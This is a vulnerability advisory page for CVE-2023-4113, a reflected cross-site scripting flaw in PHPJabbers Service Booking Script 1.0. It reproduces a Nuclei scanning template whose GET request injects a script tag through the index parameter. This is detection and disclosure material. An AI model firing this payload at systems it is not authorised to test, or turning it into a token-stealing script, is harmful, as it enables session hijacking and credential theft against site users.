CVE-2023-4113: PHPJabbers Service Booking Script 1.0 - Cross Site Scripting

2025-08-01 PHPJabbers Service Booking Script PoC Public

Description

A vulnerability was found in PHP Jabbers Service Booking Script 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be initiated remotely.

PoC

id: CVE-2023-4113

info:
  name: PHPJabbers Service Booking Script 1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in PHP Jabbers Service Booking Script 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be initiated remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of service booking system administrators and customers.
  remediation: |
    Update PHPJabbers Service Booking Script to a version newer than 1.0 that properly sanitizes the index parameter in pjFrontPublic controller.
  reference:
    - http://packetstormsecurity.com/files/173931/PHPJabbers-Service-Booking-Script-1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4113
    - https://vuldb.com/?ctiid.235960
    - https://vuldb.com/?id.235960
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4113
    cwe-id: CWE-79
    epss-score: 0.08422
    epss-percentile: 0.947
    cpe: cpe:2.3:a:phpjabbers:service_booking_script:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: service_booking_script
  tags: cve2023,cve,packetstorm,xss,php,jabbers,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Select Service(s)", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a00473045022044a25b61f7e3c31a996a44abaa88cba4079301228b75c2ec206c3e9dd935321c022100cdeb02d8a4b7c78e22c130dcf69535dcaab32a742705f648bd6fc58f155da99c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-4113.yaml

References

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